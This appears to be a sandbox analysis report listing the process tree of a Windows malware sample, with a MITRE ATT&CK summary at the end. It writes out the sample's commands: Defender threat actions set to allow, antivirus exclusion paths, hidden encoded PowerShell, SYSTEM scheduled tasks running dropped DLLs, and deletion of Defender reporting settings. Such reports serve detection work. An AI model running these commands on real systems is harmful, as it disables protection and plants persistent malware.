  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4952
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1216
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:2972
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1100
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1584
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4620
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4708
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4844
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3044
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1004
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3492
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1356
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2372
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3692
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1768
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1800
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1628
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1812
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1364
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1700
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2280
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4220
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2576
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3392
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4004
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:228
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LNUBGVQNDOUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LNUBGVQNDOUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZsZOnrmVuUzLFCeGJOR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZsZOnrmVuUzLFCeGJOR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mbQXQWfiU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mbQXQWfiU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\pqzHHOUJlDLoC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\pqzHHOUJlDLoC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yaZvCAUzKqxU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yaZvCAUzKqxU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\NRVKUIgAFoPoXkVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\NRVKUIgAFoPoXkVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\mlVNeEAaSntXOMWdx\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\mlVNeEAaSntXOMWdx\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\TKLYYQlZQscfmQGO\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\TKLYYQlZQscfmQGO\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:388
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LNUBGVQNDOUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5004
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LNUBGVQNDOUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:4668
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LNUBGVQNDOUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4660
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZsZOnrmVuUzLFCeGJOR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3684
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZsZOnrmVuUzLFCeGJOR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3792
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mbQXQWfiU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3600
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mbQXQWfiU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1816
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\pqzHHOUJlDLoC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3544
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\pqzHHOUJlDLoC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2908
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yaZvCAUzKqxU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1552
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yaZvCAUzKqxU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2300
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\NRVKUIgAFoPoXkVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2308
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\NRVKUIgAFoPoXkVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2084
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\mlVNeEAaSntXOMWdx /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4828
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\mlVNeEAaSntXOMWdx /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1404
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\TKLYYQlZQscfmQGO /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3712
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\TKLYYQlZQscfmQGO /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2144
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gQemUVuQc" /SC once /ST 06:41:44 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:3228
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gQemUVuQc"
  2⤵
  PID:2816
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gQemUVuQc"
  2⤵
  PID:5084
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "JApWNoHZsVVCavdbE" /SC once /ST 03:21:43 /RU "SYSTEM" /TR "\"C:\Windows\Temp\TKLYYQlZQscfmQGO\PLYnerbTsGuwjph\CzSJLdI.exe\" PA /site_id 525403 /S" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:3564
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "JApWNoHZsVVCavdbE"
  2⤵
  PID:3584

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4260
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:4080

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2644

C:\Windows\Temp\TKLYYQlZQscfmQGO\PLYnerbTsGuwjph\CzSJLdI.exe
C:\Windows\Temp\TKLYYQlZQscfmQGO\PLYnerbTsGuwjph\CzSJLdI.exe PA /site_id 525403 /S
1⤵
- Executes dropped EXE
- Checks computer location settings
- Drops Chrome extension
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4832
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "bvlIjxbhjqoskMIGsW"
  2⤵
  PID:4572
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
  2⤵
  PID:1948
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
    3⤵
    PID:1364
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
  2⤵
  PID:3060
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
    3⤵
    PID:3440
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\mbQXQWfiU\gOkLPo.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "VifYLfsFUZBOnFr" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:2576
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "VifYLfsFUZBOnFr2" /F /xml "C:\Program Files (x86)\mbQXQWfiU\YNpopAg.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:1560
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "VifYLfsFUZBOnFr"
  2⤵
  PID:4732
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "VifYLfsFUZBOnFr"
  2⤵
  PID:3340
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "aHccXdIPUxGykP" /F /xml "C:\Program Files (x86)\yaZvCAUzKqxU2\nJwiuKL.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:1276
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "xJAfwssuCzqxd2" /F /xml "C:\ProgramData\NRVKUIgAFoPoXkVB\wcuuvyp.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:3904
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "dOThrINOfEcGPPqKs2" /F /xml "C:\Program Files (x86)\ZsZOnrmVuUzLFCeGJOR\udlgYnO.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4912
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "ZuMFfllVmyQmxJihDZV2" /F /xml "C:\Program Files (x86)\pqzHHOUJlDLoC\FuYVZxE.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4536
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "WxeKxhacHpvHIAGHf" /SC once /ST 11:52:09 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\TKLYYQlZQscfmQGO\PfrLXCTd\JyfwkyC.dll\",#1 /site_id 525403" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:960
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "WxeKxhacHpvHIAGHf"
  2⤵
  PID:3208
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
  2⤵
  PID:4508
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
    3⤵
    PID:2320
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
  2⤵
  PID:2660
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
    3⤵
    PID:4812
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "JApWNoHZsVVCavdbE"
  2⤵
  PID:2472

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\TKLYYQlZQscfmQGO\PfrLXCTd\JyfwkyC.dll",#1 /site_id 525403
1⤵
PID:3936
- C:\Windows\SysWOW64\rundll32.exe
  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\TKLYYQlZQscfmQGO\PfrLXCTd\JyfwkyC.dll",#1 /site_id 525403
  2⤵
  - Blocklisted process makes network request
  - Checks BIOS information in registry
  - Loads dropped DLL
  - Enumerates system info in registry
  PID:388
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "WxeKxhacHpvHIAGHf"
    3⤵
    PID:1680

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery